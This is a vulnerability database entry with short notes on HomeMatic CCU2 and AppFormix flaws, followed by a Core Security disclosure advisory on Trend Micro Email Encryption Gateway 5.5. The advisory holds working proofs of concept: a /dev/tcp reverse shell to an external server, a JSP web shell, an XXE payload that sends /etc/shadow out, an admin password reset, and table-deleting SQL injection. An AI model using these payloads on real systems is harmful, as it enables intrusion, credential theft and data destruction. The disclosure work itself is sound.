VARIoT IoT vulnerabilities database

eQ-3 AG HomeMatic CCU2 2.29.22 devices have an open XML-RPC port without authentication. This can be exploited by sending arbitrary XML-RPC requests to control the attached BidCos devices. eQ-3 AG HomeMatic CCU2 Devices are vulnerable to a lack of authentication for critical functions.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The eQ-3AGHomematicCCU2 is a central control unit for the German eQ-3 company that controls smart home devices. A security vulnerability exists in the eQ-3AGHomeMaticCCU 22.29.22 release

Remote Code Execution in the TCL script interpreter in eQ-3 AG Homematic CCU2 2.29.2 and earlier allows remote attackers to obtain read/write access and execute system commands on the device. This vulnerability can be exploited by unauthenticated attackers with access to the web interface. eQ-3 AG Homematic CCU2 Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The eQ-3AGHomematicCCU2 is a central control unit for the German eQ-3 company that controls smart home devices. TCLscriptinterpreter is one of the script interpreters for the TCL language

Directory Traversal / Arbitrary File Write / Remote Code Execution in the User.setLanguage method in eQ-3 AG Homematic CCU2 2.29.2 and earlier allows remote attackers to write arbitrary files to the device's filesystem. This vulnerability can be exploited by unauthenticated attackers with access to the web interface. eQ-3 AG Homematic CCU2 Contains path traversal vulnerabilities and authorization / privilege / access control vulnerabilities.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The eQ-3AGHomematicCCU2 is a central control unit for the German eQ-3 company that controls smart home devices. A directory traversal vulnerability exists in User.setLanguage in eQ-3AGHomematicCCU22.29.2 and earlier

A malicious user with unrestricted access to the AppFormix application management platform may be able to access a Python debug console and execute system commands with root privilege. The AppFormix Agent exposes the debug console on a host where AppFormix Agent is executing. If the host is executing AppFormix Agent, an attacker may access the debug console and execute Python commands with root privilege. Affected AppFormix releases are: All versions up to and including 2.7.3; 2.11 versions prior to 2.11.3; 2.15 versions prior to 2.15.2. Juniper SIRT is not aware of any malicious exploitation of this vulnerability, however, the issue has been seen in a production network. No other Juniper Networks products or platforms are affected by this issue. AppFormix Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Juniper AppFormix is ​​a set of optimization and management software platforms for public cloud, private cloud and hybrid cloud from Juniper Networks

A SQL injection vulnerability in an Trend Micro Email Encryption Gateway 5.5 search configuration script could allow an attacker to execute SQL commands to upload and execute arbitrary code that may harm the target system. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.The specific flaw exists within the wsEmailSearch class. When parsing the SearchString parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to execute code under the context of root. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Security Notes: . https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] 